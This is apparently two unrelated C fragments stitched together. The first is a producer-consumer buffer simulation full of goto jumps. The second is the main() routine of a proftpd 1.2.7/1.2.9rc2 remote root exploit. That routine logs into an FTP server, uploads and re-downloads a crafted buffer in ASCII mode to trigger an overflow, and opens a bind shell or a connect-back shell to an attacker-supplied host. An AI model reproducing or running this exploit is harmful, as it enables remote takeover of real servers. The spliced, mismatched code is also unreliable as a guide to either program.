void prod_cons_working() { int i,loop_var1=0,loop_var2=0,max_item; float prod_rate,cons_rate,percent,temper=0; printf("\n Enter Production rate and consumption rate\n"); scanf("%f%f",&prod_rate,&cons_rate); if(prod_rate>cons_rate) { max_item=(int)prod_rate; percent=prod_rate/cons_rate; printf("\n\nPRODUCER IS FASTER THAN CONSUMER\n"); Sleep(500); } else { max_item=(int)cons_rate; percent=cons_rate/prod_rate; if(cons_rate>prod_rate) printf("\n\nCONSUMER IS FASTER THAN PRODUCER\n"); else printf("\n\nBOTH ARE HAVING SAME RATES\n"); Sleep(500); } printf("\n INITIAL BUFFER SIZE IS 10\n"); printf("\n Max-item : %d \t\t,Percent : %f",max_item,percent); Sleep(1500); printf("\n\t\t\t\t\t\t\t\t INITIALLY\n"); display(headofbuffer,max_item); printf("\n\tPRODUCER : SLEEPING"); printf(" CONSUMER : SLEEPING\n"); prod: while(1) { if(out>=max_item&&in>=max_item) { system("cls"); display(headofbuffer,max_item); printf("\n\tPRODUCER : SLEEPING"); printf(" CONSUMER : SLEEPING\n"); printf("\n\t PRODUCTION - CONSUMPTION PROCESS TERMINATES\n"); return; } if(prod_rate>cons_rate) { temper+=percent; loop_var1=(int)temper-in; } else loop_var1=1; while(loop_var1&&in<max_item) { loop1: if(in==max_item&&out<max_item) { loop_var1=0; printf("\n PRODUCTION IS OVER , PRODUCED %d ITEMS\n"); goto loop2; } if(in-out==bufsize&&in<max_item) { printf("\n\t\t\t\t\t BUFFER FULL\n"); printf("\n\t\t\t\t PRODUCER CALLING TO CONSUMER\n"); goto cons; } Sleep(2000); system("cls"); headofbuffer=createbuffer(&headofbuffer); display(headofbuffer,max_item); if(loop_var1>0) printf("\n\tPRODUCER : WAKING\t\t\t\t\t\t\t\t\t\t\t\t\t\tCONSUMER : SLEEPING\n"); else printf("\n\tPRODUCER : WAKING\tCALL FROM CONSUMER\t\t\t\t\t\tCONSUMER : SLEEPING\n"); loop_var1--; if(loop_var2>0) goto loop2; } goto cons; } cons: while(1) { if(out>=max_item) { system("cls"); display(headofbuffer,max_item); printf("\n\tPRODUCER : SLEEPING"); printf(" CONSUMER : SLEEPING\n"); printf("\n PRODUCTION - CONSUMPTION PROCESS TERMINATES\n"); return; } if(prod_rate<cons_rate) { temper+=percent; loop_var2=(int)temper-out; } else loop_var2=1; while(loop_var2&&out<max_item) { loop2: Sleep(2000); system("cls"); if(out==in&&in<max_item) { display(headofbuffer,max_item); printf("\n BUFFER EMPTY\n"); printf("\n\t\t\t\t\t\tCONSUMER CALLING TO PRODUCER\n"); goto prod; } removeproduct(&headofbuffer); display(headofbuffer,max_item); if(loop_var2>0) printf("\n\tPRODUCER : SLEEPING\t\t\t\t\t\t\t\t\t\t\t\t\t\tCONSUMER : WAKING\n"); else printf("\n\tPRODUCER : SLEEPING\tCALL FROM PRODUCER\t\t\t\t\t\tCONSUMER : WAKING\n"); loop_var2--; if(loop_var1>0) goto loop1; } goto prod; } }
main(int argc,char **argv) { char buffer[BIGSIZE]; char cmdbuf[SIZE]; char srvbuf[SIZE]; char filename[30]; int j,a,b,port1; int total; char c; char *user=NULL; char *pass=NULL; char *localip=NULL; if(argc<2) usage(argv[0]); while((c = getopt(argc, argv, "d:t:u:p:l:h:o:"))!= EOF) { switch (c) { case 'd': server=optarg; break; case 't': type = atoi(optarg); if((type > sizeof(targets)/sizeof(v)) || (type < 1)) usage(argv[0]); break; case 'u': user=optarg; break; case 'p': pass=optarg; break; case 'l': localip=optarg; break; case 'h': cbhost=optarg; break; case 'o': pt=atoi(optarg) & 0xffff; break; default: usage(argv[0]); return 1; } } if(server==NULL || user==NULL || pass==NULL || localip==NULL) usage(argv[0]); printf("@---------------------------------------------------------@\n"); printf("# proftpd 1.2.7/1.2.9rc2 remote root exploit(01/10)-%s #\n",VER); printf("@ by bkbll(bkbll_at_cnhonker.net,bkbll_at_tom.com @\n"); printf("-----------------------------------------------------------\n"); printf("[+] Ret address:%p\n",targets[type-1].ret); if(cbhost==NULL) bindmethod=1; else { if((int)inet_addr(cbhost)==-1) { printf("[-] Invalid connect back host/ip\n"); exit(0); } bindmethod=0; } port1=34568; //PORT命令的时候在本地产生的一个端口. sockfd=sockfd1=sockfd2=0; sockfd=socket(2,1,0); if(client_connect(sockfd,server,PORT)<0) quit(); loginftp(user,pass); //port1=setpasv(); //get the pasv port setport(localip,port1); setfilename(filename,30); setascii(); total=createbuffer(buffer,BIGSIZE,type,cbhost); //printf("[+] buffer data size:%d\n",total); storbuf(filename,buffer,total,port1); //stor over, then close and reconnect close(sockfd); close(sockfd1); close(sockfd2); sockfd=socket(2,1,0); if(client_connect(sockfd,server,PORT)<0) quit(); //reconnect loginftp(user,pass); setascii(); setport(localip,port1); //get the pasv port,a new one mustread=total; retrbuf(filename,buffer,total,port1); readbuf("The First time read",sockfd,srvbuf,SIZE); port1++; setport(localip,port1); mustread=total; getshell=1; retrbuf(filename,buffer,total,port1); quit(); }